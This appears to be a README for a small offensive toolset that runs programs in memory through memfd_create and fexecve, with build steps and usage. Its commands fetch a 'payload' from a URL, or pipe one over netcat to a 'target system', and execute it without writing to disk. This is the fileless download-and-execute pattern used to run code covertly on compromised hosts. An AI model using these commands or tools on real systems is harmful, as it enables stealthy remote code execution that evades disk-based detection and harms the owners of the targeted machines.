# memfd_create/fexecve harnesses

These exceute programs in memory. The programs can be delivered via stdin or

from an URL.

## Building

This has only been tested on Ubuntu 18.04.

```

sudo apt install libcurl4-openssl-dev

make

```

## From URL

This will download _file_ from _host_, and execute it with _args_.

```

./fexecve-from-url http://host/file args

```

## Using netcat (method1)

This connects to _host_ on _port_ to receive the payload.

* On system serving the payload:

```

cat file | nc -lp port

```

* On target system:

```

nc host port | ./fexecve-from-stdin args

```

## Using netcat (method2)

This listens for incoming connections on port 4444 to receive the payload.

* On target system:

```

nc -lp 4444 | ./fexecve-from-stdin args

```

* Send a payload:

```

cat file | nc target 4444

```
